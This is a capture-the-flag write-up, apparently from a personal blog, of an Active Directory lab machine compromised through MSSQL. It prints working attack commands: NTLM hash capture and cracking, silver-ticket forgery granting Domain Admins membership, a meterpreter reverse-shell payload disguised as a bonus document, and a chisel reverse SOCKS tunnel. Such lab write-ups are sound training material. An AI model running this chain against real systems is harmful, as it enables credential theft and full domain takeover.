We are provided with the following credentials: scott:Sm230#C5NatH
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-11T18:50:26
|_Not valid after: 2055-10-11T18:50:26
|_ssl-date: 2025-10-11T19:01:14+00:00; -4s from scanner time.
Host script results:
|_clock-skew: -4s
53/udp open domain (generic dns response: NOTIMP)
| fingerprint-strings:
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
mssqlclient.py "signed.htb/scott:Sm230#C5NatH@10.129.220.78"
# Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
# Windows Server 2019 Standard 10.0 <X64> (Build 17763)
I enumerated all the classic stuff: No interesting data only default databases and tables, we can't impersonate anyone, we are not a sysadmin, xp_cmdshell is disabled, we don't have the permissions to use bulk load statements, no remote servers.
Let's abuse xp_dirtree to grab the NetNTLMv2 hash of the current user managing the MSSQL service:
xp_dirtree \\10.10.15.200\share
-- subdirectory depth file
-- ------------ ----- ----
responder -I tun0
# __
# .----.-----.-----.-----.-----.-----.--| |.-----.----.
# | _| -__|__ --| _ | _ | | _ || -__| _|
# |__| |_____|_____| __|_____|__|__|_____||_____|__|
# |__|
# [*] Sponsor Responder: https://paypal.me/PythonResponder
# [SMB] NTLMv2-SSP Client : 10.129.242.173
# [SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
# [SMB] NTLMv2-SSP Hash : mssqlsvc::SIGNED:1122334455667788:6DD5F695F46DC030EAEBE3114208F68B:<SNIP>
Let's crack it
hashcat -m 5600 hash.txt `fzf-wordlists`
# hashcat (v6.2.6) starting
# <SNIP>
#
# MSSQLSVC::SIGNED:1122334455667788:6dd5f695f46dc030eaebe3114208f68b:<SNIP>:purPLE9795!@
#
# Session..........: hashcat
# Status...........: Cracked
# Hash.Mode........: 5600 (NetNTLMv2)
# Hash.Target......: MSSQLSVC::SIGNED:1122334455667788:6dd5f695f46dc030e...000000
# Time.Started.....: Wed Feb 4 10:02:30 2026 (2 secs)
# Time.Estimated...: Wed Feb 4 10:02:32 2026 (0 secs)
# Kernel.Feature...: Pure Kernel
# Guess.Base.......: File (/opt/lists/rockyou.txt)
# Guess.Queue......: 1/1 (100.00%)
# Speed.#1.........: 1807.4 kH/s (1.59ms) @ Accel:512 Loops:1 Thr:1 Vec:4
# Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
# Progress.........: 4489216/14344384 (31.30%)
# Rejected.........: 0/4489216 (0.00%)
# Restore.Point....: 4485120/14344384 (31.27%)
# Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
# Candidate.Engine.: Device Generator
# Candidates.#1....: purd666 -> punon20
#
# Started: Wed Feb 4 10:02:10 2026
# Stopped: Wed Feb 4 10:02:33 2026
We got new credentials mssqlsvc:purPLE9795!@, let's confirm them:
nxc mssql "SIGNED.HTB" -d "10.129.220.78" -u "mssqlsvc" -p 'purPLE9795!@'
# MSSQL 10.129.220.78 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
# MSSQL 10.129.220.78 1433 DC01 [+] 10.129.220.78\mssqlsvc:purPLE9795!@
mssqlclient.py 'mssqlsvc:purPLE9795!@'@10.129.220.78 -windows-auth
The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
You do not have permission to use the bulk load statement.
Can't impersonate
User dc_admin doesn't seem to exist but has:
enum_impersonate
-- execute as database permission_name state_desc grantee grantor
-- ---------- -------- --------------- ---------- -------- ----------------------------
-- b'USER' msdb IMPERSONATE GRANT dc_admin MS_DataCollectorInternalUser
Let's try something new I read up on, "Silver Tickets", here's a very good IppSec explaination about it.
For it to work we need to be the authority over the MSSQL service, no reason we aren't since this is the account responsible for the service, let's check:
SELECT servicename, service_account FROM sys.dm_server_services;
# servicename service_account
# ------------------------------ ---------------
# SQL Server (MSSQLSERVER) SIGNED\mssqlsvc
# SQL Server Agent (MSSQLSERVER) SIGNED\mssqlsvc
Because we are the service owner and we have the cleartext password we are able to forge any TGS ticket we want for the service. We can customize a lot of attributes, I noticed one group who is sysadmin that is pretty interesting:
EXEC sp_helpsrvrolemember;
# ServerRole MemberName MemberSID
# ---------- ------------------------- -------------------------------------------------------------------
# sysadmin sa b'01'
# sysadmin SIGNED\IT b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'
# sysadmin NT SERVICE\SQLWriter b'010600000000000550000000732b9753646ef90356745cb675c3aa6cd6b4d28b'
# sysadmin NT SERVICE\Winmgmt b'0106000000000005500000005a048ddff9c7430ab450d4e7477a2172ab4170f4'
# sysadmin NT SERVICE\MSSQLSERVER b'010600000000000550000000e20f4fe7b15874e48e19026478c2dc9ac307b83e'
# sysadmin NT SERVICE\SQLSERVERAGENT b'010600000000000550000000dca88f14b79fd47a992a3d8943f829a726066357'
Let's grab the SID of the SIGNED\IT group and decode it to a string:
python3 /serve/objectSIDtoString.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
# S-1-5-21-4088429403-1159899800-2753317549-1105
We want to be part of group IT which is 1105. We also need to forge an NT hash for mssqlsvc:
python -c "import hashlib; print(hashlib.new('md4', 'purPLE9795\!@'.encode('utf-16le')).hexdigest())"
# ef699384c3285c54128a3ee1ddb1a0cc
Finally let's look at what attributes we can forge with ticketer.py:
ticketer.py -h
# -aesKey hex key AES key used for signing the ticket (128 or 256 bits)
# -nthash NTHASH NT hash used for signing the ticket
# -keytab KEYTAB Read keys for SPN from keytab file (silver ticket only)
# -groups GROUPS comma separated list of groups user will belong to (default = 513, 512, 520, 518, 519)
# -user-id USER_ID user id for the user the ticket will be created for (default = 500)
# -extra-sid EXTRA_SID Comma separated list of ExtraSids to be included inside the ticket's PAC
# -extra-pac Populate your ticket with extra PAC (UPN_DNS)
# -old-pac Use the old PAC structure to create your ticket (exclude PAC_ATTRIBUTES_INFO and PAC_REQUESTOR
# -duration DURATION Amount of hours till the ticket expires (default = 24*365*10)
# -ts Adds timestamp to every logging output
# -debug Turn DEBUG output ON
# -impersonate IMPERSONATE
# Sapphire ticket. target username that will be impersonated (through S4U2Self+U2U) for querying the ST and extracting the PAC, which will be included in the new ticket
-groups is exactly what we want, let's assemble everything. In this case the -spn and the final target ccache name can be random we dont really care:
ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid 'S-1-5-21-4088429403-1159899800-2753317549' -domain SIGNED -spn mssqlsvc/dc01.signed.htb:1433 -groups 1105 mssqlsvc
# Impacket v0.13.0.dev0+20250717.182627.84ebce48 - Copyright Fortra, LLC and its affiliated companies
#
# [*] Creating basic skeleton ticket and PAC Infos
# [*] Customizing ticket for SIGNED/mssqlsvc
# [*] PAC_LOGON_INFO
# [*] PAC_CLIENT_INFO_TYPE
# [*] EncTicketPart
# [*] EncTGSRepPart
# [*] Signing/Encrypting final ticket
# [*] PAC_SERVER_CHECKSUM
# [*] PAC_PRIVSVR_CHECKSUM
# [*] EncTicketPart
# [*] EncTGSRepPart
# [*] Saving ticket in mssqlsvc.ccache
export KRB5CCNAME=mssqlsvc.ccache
mssqlclient.py 'mssqlsvc@dc01.signed.htb' -k -no-pass
# Impacket v0.13.0.dev0+20250717.182627.84ebce48 - Copyright Fortra, LLC and its affiliated companies
#
# [*] Encryption required, switching to TLS
# [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
# [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
# [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
# [*] INFO(DC01): Line 1: Changed database context to 'master'.
# [*] INFO(DC01): Line 1: Changed language setting to us_english.
# [*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
# [!] Press help for extra shell commands
SQL (SIGNED\Administrator dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin')
#
# -
# 1
Amazing it worked, let's get the user.txt that we already identified trough xp_dirtree:
enable_xp_cmdshell
xp_cmdshell type C:\Users\mssqlsvc\Desktop\user.txt
# output
# --------------------------------
# <redacted>
Okay let's get a better foothold than xp_cmdshell, let's try to get a meterpreter session.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.188 LPORT=443 -f exe > BonusCompensationPlan.exe
smbserver.py -smb2support share . -username test -password test
use exploit/multi/hander
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.188
set LPORT 443
run
enable_xp_cmdshell
xp_cmdshell net use Z: \\10.10.14.188\share /user:test test
xp_cmdshell copy Z:\BonusCompensationPlan.exe C:\Users\Public\Documents\BonusCompensationPlan.exe
# output
# -------------------------
# 1 file(s) copied.
xp_cmdshell C:\Users\Public\Documents\BonusCompensationPlan.exe
Got a session, let's explore our privileges:
whoami /all
# User Name SID
# =============== ==============================================
# signed\mssqlsvc S-1-5-21-4088429403-1159899800-2753317549-1103
#
# Group Name Type SID Attributes
# ========================================== ================ =============================================================== ==================================================
# Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
# BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
# BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
# NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
# CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
# NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
# NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
# NT SERVICE\MSSQLSERVER Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 Enabled by default, Enabled group, Group owner
# LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
# Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
# Mandatory Label\High Mandatory Level Label S-1-16-12288
#
# Privilege Name Description State
# ============================= ================================== ========
# SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
# SeChangeNotifyPrivilege Bypass traverse checking Enabled
# SeCreateGlobalPrivilege Create global objects Enabled
# SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
I'm curious about the situation with the ports being all closed:
ipconfig
# Ethernet adapter Ethernet0:
#
# Connection-specific DNS Suffix . : .htb
# IPv6 Address. . . . . . . . . . . : dead:beef::2ed3:39bc:5ecf:5223
# Link-local IPv6 Address . . . . . : fe80::d9ab:df89:8f8b:23d8%12
# IPv4 Address. . . . . . . . . . . : 10.129.1.125
# Subnet Mask . . . . . . . . . . . : 255.255.0.0
# Default Gateway . . . . . . . . . : 10.129.0.1
netstat -ano | findstr "LISTENING"
# TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 644
# TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 912
# TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 644
# TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
# TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 644
# TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 912
# TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 644
# TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 4116
# TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 644
# TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 644
# TCP 0.0.0.0:5986 0.0.0.0:0 LISTENING 4
# TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 808
# TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
# TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 484
# TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1136
# TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1688
# TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 644
# TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 644
# TCP 0.0.0.0:49670 0.0.0.0:0 LISTENING 644
# TCP 0.0.0.0:49672 0.0.0.0:0 LISTENING 2452
# TCP 0.0.0.0:49675 0.0.0.0:0 LISTENING 624
# TCP 0.0.0.0:49678 0.0.0.0:0 LISTENING 644
# TCP 0.0.0.0:51821 0.0.0.0:0 LISTENING 1300
# TCP 0.0.0.0:58662 0.0.0.0:0 LISTENING 3012
# TCP 10.129.1.125:53 0.0.0.0:0 LISTENING 3012
# TCP 10.129.1.125:139 0.0.0.0:0 LISTENING 4
# TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 3012
# TCP 127.0.0.1:1434 0.0.0.0:0 LISTENING 4116
Ok interesting that's what you would expect from a domain controller, since there's only one interface, the ports are being firewalled:
netsh advfirewall show currentprofile
# Domain Profile Settings:
# ----------------------------------------------------------------------
# State ON
# Firewall Policy BlockInbound,AllowOutbound
# LocalFirewallRules N/A (GPO-store only)
# LocalConSecRules N/A (GPO-store only)
# InboundUserNotification Disable
# RemoteManagement Disable
# UnicastResponseToMulticast Enable
#
# Logging:
# LogAllowedConnections Disable
# LogDroppedConnections Disable
# FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
# MaxFileSize 4096
#
# Ok.
netsh advfirewall firewall show rule name=all | findstr 1433
# LocalPort: 1433
# Rule Name: SQL Server TCP 1433
# LocalPort: 1433
Ok because it's firewalling inbound connections, let's setup chisel to get a reverse SOCKS proxy:
chisel server -port 443 -reverse
# 2025/10/14 23:51:53 server: Reverse tunnelling enabled
.\chisel.exe client 10.10.14.188:443 R:1080:socks
# 2025/10/14 14:52:09 client: Connecting to ws://10.10.14.188:443
# 2025/10/14 14:52:10 client: Connected (Latency 33.9943ms)
Make sure proxychains is setup to use SOCKS5 on tcp/1080:
proxychains -q nmap -sTVC -p88,135,389,445,464,593,636,3268,3269,5986,9389,47001,49664,49665,49666,49667,49669,49670,49672,49675,49678,51821,58662 127.0.0.1
# Starting Nmap 7.93 ( https://nmap.org ) at 2025-10-15 00:14 CEST
# Nmap scan report for localhost (127.0.0.1)
# Host is up (0.17s latency).
#
# PORT STATE SERVICE VERSION
# 88/tcp open kerberos-sec microsoft windows kerberos (server time: 2025-10-14 22:14:28z)
# 135/tcp open msrpc microsoft windows rpc
# 389/tcp open ldap microsoft windows active directory ldap (domain: signed.htb0., site: default-first-site-name)
# 445/tcp open microsoft-ds?
# 464/tcp open kpasswd5?
# 593/tcp open ncacn_http microsoft windows rpc over http 1.0
# 636/tcp open ldapssl?
# 3268/tcp open ldap microsoft windows active directory ldap (domain: signed.htb0., site: default-first-site-name)
# 3269/tcp open globalcatldapssl?
# 5986/tcp open ssl/http microsoft httpapi httpd 2.0 (ssdp/upnp)
# | tls-alpn:
# |_ http/1.1
# | ssl-cert: subject: commonname=dc01.signed.htb
# | subject alternative name: dns:dc01.signed.htb
# | not valid before: 2025-10-02t16:30:59
# |_not valid after: 2030-10-02t16:40:58
# |_http-server-header: microsoft-httpapi/2.0
# |_ssl-date: 2025-10-14t22:16:05+00:00; -2s from scanner time.
# |_http-title: not found
# 9389/tcp open mc-nmf .net message framing
# 47001/tcp open http microsoft httpapi httpd 2.0 (ssdp/upnp)
# |_http-title: not found
# |_http-server-header: microsoft-httpapi/2.0
# 49664/tcp open msrpc microsoft windows rpc
# 49665/tcp open msrpc microsoft windows rpc
# 49666/tcp open msrpc microsoft windows rpc
# 49667/tcp open msrpc microsoft windows rpc
# 49669/tcp open ncacn_http microsoft windows rpc over http 1.0
# 49670/tcp open msrpc microsoft windows rpc
# 49672/tcp open msrpc microsoft windows rpc
# 49675/tcp open msrpc microsoft windows rpc
# 49678/tcp open msrpc microsoft windows rpc
# 51821/tcp open msrpc microsoft windows rpc
# 58662/tcp closed unknown
# Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
#
# Host script results:
# | smb2-security-mode:
# | 311:
# |_ Message signing enabled and required
# | smb2-time:
# | date: 2025-10-14T22:15:47
# |_ start_date: N/A
# |_clock-skew: mean: -2s, deviation: 0s, median: -3s
#
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 117.39 seconds
Everthing is pretty standard, nothing interesting on SMB shares:
proxychains -q smbmap -H "127.0.0.1" -u "mssqlsvc" -p 'purPLE9795!@'
# [+] IP: 127.0.0.1:445 Name: 127.0.0.1 Status: Authenticated
# Disk Permissions Comment
# ---- ----------- -------
# ADMIN$ NO ACCESS Remote Admin
# C$ NO ACCESS Default share
# IPC$ READ ONLY Remote IPC
# NETLOGON READ ONLY Logon server share
# SYSVOL READ ONLY Logon server share
I tried to look into certificates also due to the name of the box being "Signed" but LDAPS and AD CS aren't enabled/configured.
I don't have permissions to access RPC. We are left with tcp/5986 which is WinRM over HTTPS, first time I see it, you usually only see tcp/5985.
Though my current user doesn't seem to have the rights to use WinRM:
proxychains -q nxc winrm "127.0.0.1" -u 'mssqlsvc' -p 'purPLE9795!@'
# WINRM-SSL 127.0.0.1 5986 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
# WINRM-SSL 127.0.0.1 5986 DC01 [-] SIGNED.HTB\mssqlsvc:purPLE9795!@
I found a very interesting recent exploit by WhiteFlag explaining how by forcing NTLMv1 he was able to use WinRMS to relay a connection and gain a shell.
Though this seems to require control over an already Administrator account, which I don't have, so I am unable to check the configuration of WinRM and see if the cbtHardeningLevel is set to Relaxed or not.
Ok let's think critically here, we have absolute control over the MSSQL service as our user is the service owner. There has to be a way to escalate our silver ticket even further. Since we were able to forge our identity as part of the SIGNED\IT group, maybe we can also add ourselves to the Domain Admins group?
We do the exact same commands as before but adding 512 to our groups in the TGS ticket:
ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid 'S-1-5-21-4088429403-1159899800-2753317549' -domain SIGNED.HTB -spn mssqlsvc/dc01.signed.htb -groups 512,1105 mssqlsvc
export KRB5CCNAME=mssqlsvc.ccache
mssqlclient.py 'mssqlsvc:@dc01.signed.htb' -k -no-pass
Every time we do xp_cmdshell we don't see the new groups we added in the whoami /groups output, I suspect we are being downgraded as xp_cmdshell doesn't use our TGS as the Authority, looking online for alternatives I found that a couple of internal MSSQL functions allow us to read files by borrowing our TGS and showing it to the DC as a valid authentication.
One of these methods is OPENROWSET, let's try it:
SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt',SINGLE_CLOB) as Contents
-- ERROR(DC01): Line 1: Cannot bulk load because the file "C:\Users\Administrator\Desktop\root.txt" could not be opened. Operating system error code 1346(Either a required impersonation level was not provided, or the provided impersonation level is invalid.).
It failss because by default ticketer forges a ticket for the Administrator user, and either MSSQL or the DC is rejecting it because the UID's don't match. Looking again trough ticketer help, we see that we can also specify a user id. Let's specify our own user mssqlsvc: 1103, and try again:
ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid 'S-1-5-21-4088429403-1159899800-2753317549' -domain SIGNED.HTB -spn mssqlsvc/dc01.signed.htb -groups 512,1105 -user-id 1103 mssqlsvc
mssqlclient.py 'mssqlsvc:@dc01.signed.htb' -k -no-pass
SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt',SINGLE_CLOB) as Contents
-- BulkColumn
-- ---------------------------------------
-- b'<redacted>\r\n'
This machine was a bit weird but I learned some interseting techniques. I disucssued with friends and it seems this is not the intended route, instead we were able to go trough WinRM, not sure how exactly, and there seemed to be another unintended route too.
2025 © Philippe Cheype
Base theme by Digital Garden